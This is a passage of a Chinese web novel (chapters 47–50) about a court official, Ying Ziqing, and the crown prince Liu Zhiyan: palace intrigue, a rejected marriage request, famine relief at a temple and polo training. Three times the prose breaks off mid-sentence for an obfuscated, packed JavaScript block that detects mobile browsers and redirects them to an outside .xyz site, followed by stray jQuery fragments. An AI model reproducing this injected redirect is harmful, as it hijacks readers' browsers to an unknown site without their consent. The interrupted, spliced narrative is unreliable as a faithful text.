“哎,不提烦人的事,咱们喝酒!喝酒!”
这些歪话,窦展全都听见了,但没有喝令阻止,他淡然问窦知微:“有什么事?”
窦知微面色微白,神情冷了几分,不过眨眼间,他把脸色收得很好,沉稳道:“叔父,你知不知道薛宰相,近日在做什么?”
“薛宰相?那不是你能关心的,打听这个没用,做好你的本份就是。”窦展很是不以为然。
窦知微桌案下的手,紧了紧:“我只是奇怪,如果知道薛宰相做的事,或许……”
他故意截断话头,窦展却漫不经心,没有追问,因为窦展在看裙幄宴上,杂技艺人的表演。
窦知微情知,窦展不重视他说的话,他默了片刻,又说:“如果我们知道薛宰相在查什么案子,也许会牵制太子,也说不定。”
涉及太子,窦展稍稍分了心神:“什么意思?”
此话凭空而起,窦知微没有证据,只是问:“所以叔父知道薛宰相在做什么吗?”
窦展认真想了想,倏尔抬眼,心中警铃顿时大作:“他在查太子中毒一案!”
恰恰契合了窦知微说的话!
整个窦家,位置坐得最高的是窦皇后,而窦皇后最在意的事情里,就有太子。窦展只要能给窦皇后提供太子的动向,能让窦皇后和她的父亲窦岚,多看重他几分。
“你是不是知道了什么?”窦展连忙追问。
窦知微摇头,但他遥望一下太子的方向,建议说:“不如查一下,不是光明正大地查,而是……”
窦展的心,被他的话吊得高高的,急着催问:“说啊!我们该怎么做?”
窦知微极其轻微地勾了下嘴角,平静道:“先把这件事告诉皇后,我想姑母知道怎么做。”
“而且要快,越快越好,”窦知微朝刘之衍的方向,扫了一眼,“今晚之前就要让姑母知道!”
——
应子清回到宴会上,歌舞还在继续,教坊的歌姬们眼含秋水,和歌而唱。轻柔欢乐的女声,顺着涛涛江水与春风,流向茫茫天际。
歌词用的是谢言昭新进献的赋词,讲的是风调雨顺,皇帝与百姓同乐,国泰民安的一幕。
庆帝听得十分畅快,时不时以指敲击,附和音乐的节奏,场中的人,听得入神陶醉。
应子清放轻脚步,沿着角落,走了一圈。
刘之衍不在自己的席位上,去了哪里?
应子清找到香巧一问,香巧烦恼不已,悄
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864261|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声道:“你还问呢,语兰也不见了!我想找他们,可又不敢!圣人皇后在上面,怕哪个公公嬷嬷逮住我,说我乱跑,打扰了天子的雅兴,十条命都不够赔的。”
“语兰也不见了?”应子清奇怪,四处找了找,东宫带来的人不多,其他人在这里了。
香巧摇头:“刚来那会儿还在,转头就不见了,谁知道去了哪里?”
应子清说:“我找太子的时候,顺便找找她吧。不过如果她先回来,你叫她别离开了,很快我们就回去了。”
“是。”香巧应声答应。
应子清虽然这么说,也不知道从哪里找起。
他们在的地方,正好在宴会的一角。
在宴会锦缎帷帐之外,还有重重柳荫,以及临时搭建放置杂物的荼白帷幕。应子清抱着随便找找的心态,绕过去看看。
“太子殿下。”冷冽的女声,忽然唤道。
应子清猛地站停,隔着荼白色帷幕,她看到里面站着两个人。
其中一道高挑的身影,明显是刘之衍。
不知为何,应子清竟然动也不能动,怕打扰了刘之衍与另一女子的对话。可站在这里,她又是在偷听。
应子清为难之际,冷冽的女声再度出声:“刘之衍,我叫你,你为什么不等等我。”
应子清眉心一跳,听着有些刺耳。
她莫名想到,这是第一次,听到旁人叫刘之衍的全名。一般的人,只会称呼他为太子殿下。而这道冷冽的女声,应子清刚刚听过,是窦兰芷的声音。
应子清垂下眼,只见荼白帷幕那边,男子的身影,站停了。
“我在这里,你还想去哪?”窦兰芷向前走了几步,站在刘之衍面前。
“你过得不好,瘦了。”窦兰芷平日冰冰冷冷的声音,乍然柔和,竟然很好听。
不娇,不魅,有些软,水润润的,要淌进人的心里。
“旁人总是谈起,你与谢凝荷的婚事,可我知道,你与她毫无关系,但我听了,总是有些烦。”窦兰芷手中拿着长长的柳枝,无聊似的,扫了扫草丛。
刘之衍不发一语。
窦兰芷微微仰头,视线一点点描摹刘之衍俊美的面庞,他仍是那样的冷淡:“你好像长高不少,上一次我们这么说话的时候,我还不用这么看着你。”
上一次?应子清默了一默,是了,众人皆知,谢家想撮合谢凝荷与刘之衍。哪里知道,这边的窦兰芷,与刘之衍的关系更隐蔽。
果然,下一刻,窦兰芷说:“我一直在姑母身边劝着,叫她不要为难你。每次有什么事,我都尽量拦着。也是我跑去劝父亲,让他说服姑母,提醒她针对太子会落人话柄。我一直在为你着想。”
微风轻拂,窦兰芷扬起那张明艳的脸,神色却很淡:“你总是这样冷情冷语,仿佛与世隔绝,而我,也是如此。一个是窦氏世家的掌上明珠,一个是圣人的骄子,同样的尊贵,同样的孤高清冷。天底下除了我,再无人懂你。长安城里,唯有你我最相似,也最般配。”
“可惜姑母是皇后,否则,哪轮的到谢凝荷与你议论婚事。站在你身边的人,只能是我。”窦兰芷转过头,看着刘之衍轻声道,“你是不是听说,我许了人家,你……生我的气了?”
荼白帷幕那边,刘之衍仍然默不作声,却也……没有否认。
48. 第 48 章
窦兰芷似是愉悦,轻轻笑了。
忽来一阵狂风,千万春日柳枝拂动,绿影婆娑。
数只灰白雀鸟落在荼白帷幕的栏杆上,叽叽喳喳蹦跶几下,警觉到左右都有人在,雀鸟扇扇翅膀飞走了。
刘之衍与窦兰芷沉默相对,所有声音到了两人之间,都会化作无声。
窦兰芷似是想起什么:“好像,也是那样的一个春天。那日,听说你的乳母死了,我好不容易从姑母那里偷溜出来,陪着你,在碧梧宫坐了一下午。”
“当时,你问了我一些问题,你还记得吗?我告诉你,太子没有那么好当。成大事者,着眼于大局,是要与天地争命的,个别牺牲,不足为道。你想坐稳太子之位,只能忍耐。”窦兰芷神色柔和,语带惆怅,“你原来还会对我笑,和我说话。可是,那天之后,你不爱笑了,变得越来越孤僻。”
“死了个乳母而已,我没想到对你那么重要。”窦兰芷眼神黯了黯,“如果那天,我换个答案,哄一哄你,而不是叫你忍耐,你是不是会开心点?”
应子清抬眼,见帷幕之下的迤逦裙裾,沙沙作响。
窦兰芷走到刘之衍身边,仰着头看他:“刘之衍,如果我说,我后悔了,我不想再看重什么大局!我去求父亲,让他取消婚约,我们两个在一起,好不好?”
“我还会劝姑母改变主意,有了我与窦家的协助,你做什么事都会变得容易。”窦兰芷越想越觉得可行,越想越觉得激动,“只要你答应,在关键的时刻,听我和我父亲的话,让窦家达成心愿……”
刘之衍极轻地叹了声,引得应子清抬起头。
她看见刘之衍向前走了一步,微微侧首,在窦兰芷耳畔,说了句什么。
声音太小,应子清只听到呼啦啦的风声。
帷幕上的两道剪影交错,一个高大,一个婀娜,同样的贵不可言,同样的相得益彰,看着那么美好,郎才女貌。
随后,刘之衍迈着步子,离开了。
荼白帷幕上,只留窦兰芷的身影,她久久站在那里,一动不动。
应子清趁着对方发着呆的功夫,步履轻盈,悄然离开。
重新回到宴席上,语兰已经回来了。
应子清朝她看一眼,发觉她的发丝有些乱,唇上的口脂不见了,显得格外苍白。吹弹可破的白皙面庞,飞红一片,眼睛也像含了脉脉秋水,比平日,多出别样的妩媚感。
要不是知道语兰是宫女,宫外没有男朋友,要不然应子清准会认为,她刚刚跟男朋友你侬我侬。
“你怎么了?遇到什么事了?”应子清关心道。
语兰匆忙转开脸,极力避开应子清的目光:“无事,我、我出去的时候,迷了路……”
“哎呀,回来了就好,语兰刚才跟我说,她特别担心你骂她。”香巧担心应子清会罚语兰,抱住语兰的胳膊,替她求情,“子清姐姐,她在附近转迷了路,没有惹祸!”
看出两个小姑娘的担心,应子清摇了摇头,没有追问,放下此事不提。
不多时,刘之衍也回来了,面色淡淡,仿佛只是出去闲逛一圈回来。
应子清扫了眼,垂首不语。
“殿下!”香巧欢欢喜喜,招呼道,“刚才子清姐姐到处找你,你可回来了。”
刘之衍顿了下,眉眼舒展,径直来到她身边:“你找我?”
窦兰芷所用的香,极其张扬,刘之衍与她站了一会,不知不觉沾染许馥郁扑鼻的香气。
应子清停了停呼吸,下意识想退开,她忍下来:“是,薛沛南刚刚找我,说之前中毒一案,有了结果。他说,他可以提前透消息给你……”
一听薛沛南的名字,刘之衍不太高兴:“此人刁滑,不可能平白告诉我,必会提要求。”
刘之衍眉心微蹙,细细盯着应子清瞧:“他为什么找上你?”
应子清被他问得一愣:“我们凑巧碰见……”
一想到投壶那日,薛沛南当着众人的面,说什么与应子清一见如故,晚宴的时候,又特地叫她坐在他身旁。
刘之衍脸色不是很好看:“凑巧碰见,可以谈别的,薛沛南定是特地找你。”
应子清没作声。
“去听听他说什么。”刘之衍转身就走。
应子清自然跟在后面。
丝竹之音缓缓流淌,席间上,薛沛南半仰躺着,一支折柳搭在他的额间,遮挡阳光。他清俊的脸上,洋溢着餍足,那是心愿得逞的愉悦。
见刘之衍朝这个方向走来,薛沛南顺势站起身,没有同刘之衍眼神交汇,而是径直走了出去。刘之衍跟了上去,几个人在一处柳树影下。
“见过太子殿下。”薛沛南眼睛却看着应子清。
刘之衍向前一步,将应子清挡在身后,目光冰冷:“应司直都告诉我了,你既然知道结果,准备让我拿什么换?”
薛沛南温和笑笑,抬起手,极为谦卑恭敬地,作了了揖:“殿下,晚生斗胆,希望换取太子殿下的承诺!初次与子清相逢,我便对她一见钟情,挂心不已。恳请您恩准,准许晚生迎娶子清!”
“晚生绝不亏待她!我会以平妻之礼相待,将她视若珍宝,不令子清受半分委屈。”薛沛南风度翩翩,一鞠到底,“希望殿下念在我赤诚之心,成全我与子清的这段姻缘。晚生不胜感激,愿意为殿下效犬马之劳,以报此恩……”
只见寒光在刘之衍指尖翻转,也不知他如何动作,一把闪烁锋芒的匕首,抵在薛沛南的颈边。
薛沛南修长白皙的脖颈,渐渐浮现一线血迹,血珠密密凝出,蜿蜒淌下。
刘之衍动怒时,神色与平常无二,可是对上他眼中的戾气,叫人心惊胆战:“你应该感谢子清,我如今转了性子。”
剩下的话,他没说完,可是薛沛南知道,如果他还是传闻中暴戾的太子,此时这把匕首,早已割断他的喉咙!
刘之衍俊美英气的脸,没有明显的情绪波动,语气也是平平,可是黑沉的眼眸,冰冷骇人:“你是什么东西,跟我提要求?查案结果,我会让你求着我,自己吐出来。”
薛沛南愕然惊诧之际,又见丝丝缕缕的黑影,从眼前飘落。
说话间,刘之衍动手削去他一段头发!
身体发肤受之父母,断发如断头,被人削掉头发,是何等的奇耻大辱!
刘之衍此举,是动了杀意!
怎会如此!?
薛沛南脸色惨白,萎靡在地。
向太子求娶应子清,薛沛南自以为这个算盘,打得精妙。
看似是拿查案的结果,与太子作交换,其实他是希望,与东宫保持亲密关系。
应子清长得极其漂亮,叫他难忘。而且此女性格清清淡淡,听说还略懂诗书。薛沛南从未与这样的女子交往过,若是放在他的后院,想必是赏心悦目的。薛沛南动了真心,愿意用平妻之位相待。
虽说,太子好像很看重她,可她终归是一介女官。把应子清施与他,换取宰相之子效忠之心。薛沛南自问,这笔买卖,对太子亦是十分合算。
他千算万算,唯独没算到,他低估了应子清在太子心中的地位!
刘之衍满身寒霜,将衣袍一振,大步离开。
经过在旁边听完全程的红颜祸水,刚才还喜怒不形于色的刘之衍,变了脸,冷冷道:“愣着干什么,难道你想留下?还不快走。”
应子清:“……来了。”
应子清自从能骑马,此后能不坐马车,就不坐马车,她乘着绯云骢,随在刘之衍马蹄后面。
开了春,天气暖和,大人小孩都愿意出来活动,长安城的街道,车水马龙。
商贾牵着骆驼或是驴车,挤着车道,应子清看到不少胡人打扮的商人。
这些异域来的商贾,性格热情大胆,驾着货车走街串巷,吆喝声不止。他们的吆喝声,与唱歌似的,自带一种旋律,歌声恣意畅快。
不过,今日的街道,多了好些衣衫褴褛的百姓。
这些人面有菜色,脸颊瘦削。他们手里要么拿着麻袋,要么端着木盆瓷碗,拖着沉重的步子,踉踉跄跄,方向一致地,朝某个街道前行。
越往前走,衣着寒酸的百姓越多。
背着孩子的年轻母亲,脚穿破烂的草鞋,头发蓬松,腰间缠着好几只临时缝补的布口袋。初雪融化,还有碎冰,破破烂烂的道路,泥泞湿滑,不太好走。年轻的母亲额头生汗,仍是步履坚定,赶时间似的,走得极快。
应子清透过那双不堪的草鞋,看见她皲裂的脚踝,手中不由悬停马。
前方的刘之衍也停了下来,唤来程飞,“你去看看怎么回事。”
程飞应了声“是”,当即去了复返,回禀道:“谢言昭领着一众谢氏,在普济寺舍米施粥。”
刘之衍睨了眼应子清关切的神色,把缰绳一拉,掉转马头:“我们去看看。”
普济寺是长安城里普普通通的寺院,坐落坊市,没有皇家寺院那样的金碧辉煌,恢弘大气,但胜在岁月悠久。
古刹佛寺,处处古朴斑驳,散发着漫长岁月积累下来的深厚底蕴。门口栽种菩提,据说有树龄百年,树干十分粗壮,须得几人合抱,正是春季,菩提抽出嫩绿幼芽,鲜翠欲滴。
普济寺门口搭了几只棚子,手中拿着布袋与碗盆的百姓,仰首伸颈,老老实实排着。队伍蜿蜒如长蛇,竟蔓延出两三条长街。
刘之衍一路打马而过,神色渐渐凝重。
粥棚下,僧侣皆穿一身缁色僧衣,他们做惯了活儿,分发米粮的动作利落又快。可是架不住排队的百姓太多,粥米沉重,年轻的僧侣做了半个时辰,累得手脚发软,须得换一波人。
谢言昭今日穿了海兰袍衫,站在菩提树下,与住持首座在一旁谈话。
见刘之衍领着侍从侍卫,骑马而来,谢言昭连忙过去,要与他行礼。
住持首座见谢言昭恭敬的举止,都有些乍舌,不知道来人是何方神圣。旁边的谢氏族人,悄声告知,太子殿下大驾光临了。
普济寺的僧俗面面相觑,不知所措。
刘之衍伸出马鞭,将谢言昭一拦,又对旁人道:“在外不必多礼。”
“为何这么多人领米?”刘之衍懒得废话,切入正题,“可是附近闹了灾?”
长安城是出了名的富庶,难道是从别的城市赶来的灾民?但刘之衍并未听到灾报。
谢言昭摇摇头,肃然道:“殿下,去年大雪,下了整个冬天,比往年的要厉害十倍。大雪之时,难御苦寒的,多有冻毙于风雪。大雪过后更难捱,那些贫寒之家,自是缺吃少穿。下官领着谢氏族人,略尽绵薄之力。”
曲江繁花似锦,吹竹调丝,好一个富贵闲适。这边却破衣烂衫,排队乞食。如此对比,应子清心中难过,她走过去询问:“你们舍米施粥,我们还能做些什么?”
谢言昭闻言抬头,略略打量眼前清丽女子,便觉得冒犯似的收回眼神:“可以问问主持。”
住持念了声佛号,伸出手,亮出旁边的功德箱:“若施主福泽深厚,尚有余力
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873611|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,不妨广结善缘,于此功德箱添上一份功德。普济寺会继续搭棚,帮助这些饥寒交迫的百姓,熬过艰难时世。”
应子清褪去钗环首饰,放入功德箱。
香巧语兰解下金银,连张泰耀也一齐上来,将身上所带的银钱,一同放入。
住持与首座十分意外,连连说了好几句无量福报的佛偈。
应子清心情没有放松。
张泰耀察言观色,小声开玩笑:“应司直作了善事,怎么还愁眉苦脸,难道舍不得那些金银?”
应子清知道他没有恶意,因而摇头:“不,这点善款,杯水车薪,小小的普济寺,恐怕难以承担。”
出身孤儿院的她,深知这点善款,恐怕做不了多少事。
果然,那边刘之衍看向谢言昭:“长安城向来富庶,若是这里是这样,别处更是凋敝。”
恐怕过一段时间,各处的灾报,就会陆续上报朝廷。
谢言昭很谨慎,答了声:“是。”
再谈下去,便是妄议朝政了,谢言昭不能不斟酌。
“你的眼界与抱负,很好。”刘之衍望着谢言昭,“你也听见了,我的女官说,这么做远远不够。你若还有别的主意,改日寻个时间上东宫,与我聊聊。”
如果不是谢言昭心系民情,也不会有这样的动作。
刘之衍想与此人深交。
谢言昭抿了抿嘴唇,犹豫片刻,拱手道:“殿下谬赞,下官不过略尽绵薄之力。但下官驽钝,岂敢在太子殿下面前献丑,能得到殿下的垂青,实在惶恐。”
这是……婉拒刘之衍的邀请。
刘之衍淡淡看他一眼,谢言昭仍是不卑不亢。
刘之衍也不勉强,转而对身边的程飞,下了一令。从东宫拨一笔款子到普济寺,帮助这些百姓熬过初春。另外让东宫的千人精兵,改了操练,这段时间到普济寺帮忙,运送米粮。
刘之衍牵着他的骏马,领着众人离去。
刚才应子清见到的背孩子的妇人,抱着珍宝一般捧着今天粮食,深深凹陷的眼中,闪烁欣喜的光芒。
妇人的所穿的葛布,与包孩子的襁褓,是这些贫寒百姓里,最为简陋粗糙的。
没走出去两步,破损不堪的襁褓,骤然断开。母亲背上的孩子,眼看滑下来,摔在地上。
应子清心下一紧,蓦地往前。
周遭的侍卫动作快,刘之衍更快,在孩子触地之前,他稳稳将孩子接住。
一抱住那孩子,刘之衍眉心微蹙。
怪不得母亲背着走了一路,这孩子不吵不闹。虽然天气转暖,可是春寒料峭,小男孩冻得手脚发紫,闭着眼睛,好像只剩一口气。母亲遮蔽衣物已经狼狈,哪里还顾得上孩子。
刘之衍毫不犹豫解下织锦披风,覆在婴孩身上,交还与妇人。
那妇人只当寻常公子哥发善心,就要跪下去磕头,感激不尽:“谢谢公子救了我的孩子,这、这么好的袍子,我们不敢要,公子拿走吧!”
刘之衍没有多言,程飞低声与那妇人说话,阻止了她的动作,他将对方引到住持面前,看看能不能给予一些照顾。
刘之衍与应子清带着一队人马走了。
谢氏族人见谢言昭望着刘之衍离去的方向,小声问:“公子,你说,太子殿下刚才是在做戏吗?”
谢言昭沉吟片刻,摇头:“你没听那妇人说什么?她叫的是公子。做戏要留名,好让人传出去。除了我们几个,今天这里的人,都不知道他的身份。”
“再说,做戏,也做不到这上面。”谢言昭叹气,眼神复杂。
他相信,太子刚刚的一番动作,出自于他的本心。
东宫的花厅,点起宫灯。
应子清把新制好的球仗,递给刘之衍,他拿着一方白丝帕,在球杆上轻轻擦拭。
应子清在旁边坐下,望着他瞧。
刘之衍认真做事时,冷冷清清的黑眸专注于一物,很吸引人。
今日经历的事情太多,薛沛南算一件。
应子清其实也觉得离谱,这人求娶,居然不问她本人,而是太子。
“薛沛南的本意,我不信你看不出来,他是想和你拉近关系。”应子清说,“但你何必断他的头发,闹得那么僵。”
“你想嫁给他?”刘之衍转过脸来,静静看她。
“当然不……”应子清马上道。
“那你别管。”刘之衍再度想到薛沛南提的要求,脸色又露寒霜。
“那之后怎么办?”应子清分析起眼下的形势,只觉得不妙。
薛宰相若是愿意释放善意,是最好,偏偏薛沛南作死,惹怒东宫。下午的时候,谢言昭拒绝刘之衍的邀请,可以看作是一种信号,谢氏不想站在东宫这边……
“我不是喜欢薛沛南,可是薛宰相那边,可以缓和的话……”应子清再度纠结。
“子清,”刘之衍轻轻握住她的手腕,目光镇定,“别担心。”
“如果薛沛南以索要女人为条件,才能站在我身边,那他不会真心为我效忠。这种投机取巧的盟友,不会长久。”刘之衍神色冷静,“我是圣人钦定的太子,如果我是未来真正的君王,我应当展示我的气魄与能力,我要他们真心实意地信服我,追随我。唯有让人心甘情愿,才是众望所归。”
应子清眼睛微微睁大,心跳得很快。她从他的话里,感受到一股从未有过的震撼与躁动,久久难以平静。
刘之衍将手中的球仗,立起打量,这是他即将开辟的战场。
49. 第 49 章
驾驭一匹疾驰的骏马,本是一项危险的活动,若是再结合相应的竞技,须得进行专门训练。
李武师须发皆白,身材魁梧,他从战场下来又做起了武师。刘之衍聘请他,是因为李武师亲历过战场的残酷,还活到这个岁数,这不是靠幸运那么简单,他懂得如何在危险中生存。
最后一天击鞠训练结束,刘之衍接过应子清递来的方巾,擦着汗,从在马场下来。
李武师同刘之衍几人,在小路上走:“太子殿下,明天赛事就要开了。听说南蛮子的王子,也想参加?”
“这次真邑进贡不少骏马,圣人大喜,赏赐丰厚的金银绢帛。”刘之衍说,“听说击鞠赛事在即,真邑来的二王子阇耶,特意留下来,说想参加赛事。”
李武师听出话里有话,站停了。
“阇耶想与我一战。”刘之衍道,“他特地求了圣人,圣人不好拒绝。”
很多话不能说透,但李武师已经明白过来。
庆帝久病,这些边疆藩属国渐渐不安分,摩拳擦掌,遣人来窥探大晋朝的国力。
阇耶是二王子,此次随使节来宗主国,是与大王子斗争落败的结果。真邑王当他是弃子,让他作游手好闲的小王子。
阇耶年轻气盛,自是不服。他若是在此次击鞠比赛中,战胜宗主国的太子,如此战绩,必定让他的声望大增!
阇耶想参加击鞠,被庆帝一口回绝。阇耶却在私下,向大晋的武将们开玩笑,听说大晋朝的太子怯懦忧郁,难不成他虚弱到骑不了马?畏惧击鞠比赛?
刘之衍本来为打马毬作着训练,听了这个传闻,当即找到庆帝面前,建议击鞠当日,他们与阇耶的队伍打首场。
庆帝沉吟半日,问刘之衍,你能行吗。
刘之衍一向言简意赅,说大晋必胜。
一句话说得庆帝激动得咳嗽半日,差点没喘上气,连声说了好。
李武师却没有那样的底气,苍老的目光,随着岁月流逝,显得越发威严而沉静:“真邑这个藩属国虽小,生性却野蛮好斗,他们嗜杀,视人命为草芥,以屠戮为常事。”
刘之衍看着他,刚才李武师陪着跑了几圈,仍旧精神矍铄。
“向来击鞠对阵,实际上呢?轻则受伤骨裂,重则手脚断裂,乃至呕血丧命!”李武师负手而立,“阇耶那一伙人手段阴狠,恐怕殿下会受伤。”
程飞听得脸色一肃:“不说别的,光是御马冲撞,绊马坠下,已与战场厮杀无异!”
“太子殿下您的万金之躯,关乎国本。”李武师沉沉脸色,忍不住叮嘱,“赢不是必须的,护得自己周全,才是上上策!”
应子清见过几次他们的马场训练,那高头大马带着人冲撞而来,那重量和冲击力,跟一辆重型机车撞人也差不多。重伤丧命,不是玩笑。
李武师考虑得很现实,受了重伤,就算活下来,不说大晋朝,自古以来,何时有过断手瘸腿的帝王。
刘之衍随手一丢,将他刚擦过汗的方巾,精准地扔到在应子清的脑袋上。她在旁边听得入神,跟毛茸茸的小狐狸一样,聪明伶俐的眼睛,亮闪闪的,怪惹人喜欢。
应子清:“……”
应子清手忙脚乱,连忙把方巾从脑袋上拿下来,用两指拎着,一脸忍耐,很嫌弃的模样。
刘之衍脸色不太好看,可是嘴角微微上扬,他转向李武师:“请老师放心。”
不像在庆帝面前,故意把一番话,说得志骄意满,讲得庆帝与大臣们热血沸腾。刘之衍此时语气沉稳。李武师了解他的实力,知道他这是评估自身能力后,对自己的肯定。
虽然如此,李武师仍然忧心忡忡。一场击鞠比赛,刘之衍要赢,还要尽量保护自己不受伤,然而刀剑无眼,战场无情,这怎么叫他放心得下。
春日绵绵细雨刚停,天清云淡。
蔚蓝的天空下,运输出城的牛车驴车,拖着沉沉的车辙,向一个方向驶去。
长安城城郊,一块平坦的草地上,拉起巨型的帷幕。
击鞠现场,扬起晋朝的金黄旗帜,与真邑的靛青旗帜。
一间临时搭建的小帐篷里,应子清给刘之衍套上防护用的软甲,再在外面穿上骑装。
先前听刘之衍说,欲凭一己之力,广纳人心。
应子清未曾想到,才刚刚开始,这个代价就格外血腥。
刘之衍本来骑射已经优异,但他像学无止境的学霸,还在拼命地卷。学霸考差一两次,顶多受点心理打击。可是在马场滚了一遭,可是会血肉模糊,轻易马虎不得。
每日骑射演练,将刘之衍的掌心,磨出道道血痕,深可见骨。
太医来看过,送了不少促进愈合的膏药。
但应子清对太医不信任,亲自调配几副解毒清创的草药。每晚,应子清在药草里加入热水,小心翼翼地给刘之衍擦拭伤口。
然而刘之衍的指间,早晨刚刚有愈合的趋势,傍晚归来,又是一副鲜血淋漓的模样。
头几次,应子清见了,没忍住惊呼和心疼:“你就不能小心点?”
“骑射一道,受得是皮肉之苦。”刘之衍看了眼皮开肉绽的掌心,风淡云清,“按李武师的说法,若是上了战场,在酷暑朔月摸爬滚打,练出铜筋铁骨才算得上合格。我这样,还是训练太少的缘故。须得认真磨砺,届时连刀锋也轻易伤不得,才算练出来。”
应子清知道,那是皮肤练出厚厚的一层茧子了,如铠甲般坚固,徒手握住滚热的炭火,与刺骨的冰块,也不再颤抖惧怕。
练习时间一长,应子清再次见到刘之衍的手,变成哑然,难受一点点地积压在心底。
应子清细心地用药水帮他盥洗,用小银刀剃去腐肉,免得感染。最后替他包扎,血珠仍然浓烈地翻涌,浸湿绷带。
刘之衍脸色淡淡,应子清知道他在忍疼,但他从未因此皱过眉。
可是十指连心,应子清每回帮他处理,总觉得她也在替刘之衍隐隐作痛。
练到今日,刘之衍的手心,有了层硬茧。
应子清拿来帛缠,给他做比赛时的裹手,刘之衍接过。
趁他撕开帛缠,一圈圈,往小臂上缠绕,应子清没忍住,伸出食指,柔嫩的指腹在他手心里按了按。
好像在河滩上,久经冲刷的沙砾,质感坚韧粗糙。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890094|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应子清当然知道他不疼,却还是问出,之前一直没问出口的话:“会疼吗?”
刘之衍眼睫微垂,见她仰着白玉般素净漂亮的脸,一双乌黑清亮的眼睛望着他,眼底不自觉流露着心疼。清清灵灵,反而叫人心神一动。
刘之衍心情大好,他忽地一伸手,从应子清修长的脖颈,抚上她的脸颊,拇指在她柔软的嘴唇上,轻轻一蹭。
指尖传来细腻柔润的触感,美好得让人惊奇。
他本是起了捉弄应子清的心思,让她感受一下。
却不想,他自己先乱了心神。闻着她身上的暖香,动真格地触碰她的皮肤,竟然让他无法抑制地想起,梦中抚上少女柔韧细瘦的腰身,想起两人在湿润氤氲的水雾中,唇舌缠绵。
眼下,应子清呆住的样子,懵懂纯真,仿佛任人|蹂|躏。刘之衍看得眼神发黯,他很想咬上她嫣红的嘴唇。他知道应子清会躲避,所以他会进一步上前,将她死死嵌在自己的怀里,揉入骨血般,细致而眷恋地品尝她的甜蜜,任她颤抖挣扎,流泪呜咽。
帐篷外,人来人往,马场上的铁蹄声,轰隆隆跑来跑去,侍卫正在检查击鞠赛场。仆从拉着堆满细腻黄土的木车,在有凹陷的地方,进行修补。
刘之衍清醒过来,仓惶放手,他的喉结微动,耳根子红透了。
努力克制着糟糕的想法,刘之衍脸色还是冷淡,继续撕开帛颤,重新将手臂缠紧:“都过了这么久了,你说呢。”
刘之衍佯装镇定,然而动作举止,透着难言的烦躁。
应子清突然被他粗粝的大手抚过,吓了一跳。那粗糙的抚摸感,让她的后颈,升起阵阵细小微弱的电流。她心如擂鼓,耳朵和脸颊,被火焰舔舐般,烧红一片。
莫名其妙的,她有些怕他,情不自禁地后退一步。
却惹来刘之衍黑沉沉的盯视:“你有没有常带的东西?给我。”
“什么?”应子清发现,她的声音在不自觉地发颤。
见真是吓到她了,刘之衍垂眼,试图遮住眼底危险的光,如常般平静:“刚才故意逗一逗你,别害怕。我想要一样你的东西,作我的庇佑。”
“我没有……”应子清不像别的姑娘那样,平时给自己绣一些,零零碎碎漂亮的小玩意儿。她绣工就那样了,能缝合算是不错,绣花实在勉强。
刘之衍打量她片刻,从她的腰间,抽出一缕绯红罗纱,系在绑着裹手绷带的腕上。
绯红罗纱,轻如蝉翼,色泽柔媚旖丽,缠绕在男人硬朗修长的腕间,有种别样暧昧缠绵的意味。
罗纱的一角,绣了小小的“清”字。原来是应子清怕自己分不清,跟别人弄混了,作区分用的。此时,仿佛多了层别的含义。
刘之衍随手晃了晃,罗纱系得牢固,他挑了挑眉,表示满意。
呜呜的号角声吹奏,昭示击鞠比赛即将开始。
刘之衍向外看了眼,站起身,在她脑袋摸了下,径直出了帐篷:“我走了。”
应子清愣愣站在原地,目送刘之衍高挑的身影。
她心底空空的,过了片刻才发觉,原来她很想听他说,等我平安归来。
50. 第 50 章
被马童抱怨的雪白骏马,刘之衍给取了名字,叫月影。
刘之衍骑上马,勒紧缰绳。月影刚修了马蹄,正觉得痛快,很想跑一跑。马场旁圈起来的栅栏,月影在里面撒起欢儿。
刘之衍察觉月影的兴奋躁动,伸手拍了拍。
好马通人性,月影察觉到主人的威严,收住蹄子,摇头晃脑慢下来。
程氏三兄弟里最小的程霆,最喜欢骏马,见月影通身雪白,鬓毛如银,看得直流口水,想上去摸:“我的娘哎,太俊了。”
月影转过来,嫌弃似的,朝程霆喷了一响鼻的热气,雄赳赳昂首走开。
程霆抹了抹脸,眼巴巴跟上,还是想摸一摸如雪的鬃毛。
程飞按住弟弟的手,喝道:“没见识的东西!少给我丢人!”
击鞠比赛,分两个阵营,一队五人。
程氏三兄弟的骑术之优异,只是程霆年龄太小,身量不足,这次上场没有他。刘之衍从精兵里补了两个新人,晁寒山和晏亦海。
